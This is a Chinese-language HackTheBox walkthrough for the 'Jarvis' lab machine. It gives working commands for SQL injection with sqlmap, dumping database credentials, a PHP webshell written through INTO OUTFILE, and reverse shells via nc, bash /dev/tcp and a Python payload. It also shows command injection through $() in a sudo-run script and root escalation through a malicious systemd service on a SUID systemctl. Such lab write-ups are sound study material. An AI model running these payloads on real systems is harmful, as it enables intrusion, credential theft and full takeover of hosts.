HackTheBox >_ Jarvis_143
Published on 10 Nov 2020
Jarvis_143
目录
等都没有发现
在主页rooms下发现了可能存在的注入点
测试注入
sqlmap -u http://10.10.10.143/room.php?cod=1
但是收到了404
尝试页面注入
虽然没有任何回显,但是也没有404,应该是过滤检测了浏览器
尝试使用--user-agent
参数
sqlmap -u http://10.10.10.143/room.php?cod=1 --user-agent "Mozilla / 5.0(X11; Linux x86_64; rv:60.0 )Gecko / 20100101 Firefox / 60.0"
成功
使用--passwors
转储密码
sqlmap -u http://10.10.10.143/room.php?cod=1 --user-agent "Mozilla / 5.0(X11; Linux x86_64; rv:60.0 )Gecko / 20100101 Firefox / 60.0" --password
DBadmin:imissyou
登录之前的phpadmin
在sql控制台中写入cmdshell
SELECT "<?php system($_GET['cmd']); ?>" into outfile "/var/www/html/cmd_shell.php"
至此获得一个webshell
http://10.10.10.143/cmd_shell.php?cmd=
webshell转shell
http://10.10.10.143/cmd_shell.php?cmd=nc%20-e%20/bin/sh%2010.10.14.24%201337
检查脚本
在脚本其中的一部分发现,可能存在命令注入,
被排除的字符有
['&', ';', '-', '`', '||', '|']
脚本应该是可以进行ping+系统命令
进行执行,
虽然排除了所有能够附加命令的符号,但是由于ping是可以使用变量的,我们仍然可以对其进行命令注入
例如ping $(cat ip.txt)
那么我们就可以使用ping $(bash)
来直接执行bash
同时利用sudo特性切换用户到pepper
sudo -u pepper ./simpler.py -p
但是这样得到的shell并不能正常回显,我们可以在/tmp文件夹下生成一个shell文件,然后在命令注入时执行它。从而获得shell
echo '#!/bin/bash' > /tmp/evil.sh
echo "bash -i >& /dev/tcp/10.10.14.24/1338 0>&1" >> /tmp/evil.sh
chmod +x /tmp/evil.sh
sudo -u pepper ./simpler.py -p
> $(/tmp/evil.sh)
查找suid
find / -perm -4000 2>/dev/null
systemctl已经设置了suid位并将其作为root用户运行,所以我们可以创建自己的服务,该服务包含rshell,一旦启用,我们应该得到我们的root shell。
kali上新建 evil.service
[Unit]
Description=pwned
[Service]
ExecStart=/usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.24",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
[Install]
WantedBy=multi-user.target
也可以
[Service]
Type=oneshot
ExecStart=/usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.24",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
[Install]
WantedBy=multi-user.target
然后将这个服务文件上传到用户的文件夹下,注意,上传到tmp目录是不能正常执行的
然后立即启动服务
systemctl enable /home/pepper/evil.service --now
也可以cp服务到/dev/shm/目录下
systemctl enable /dev/shm/evil.service –now
然后即可在监听的4444端口获得root shell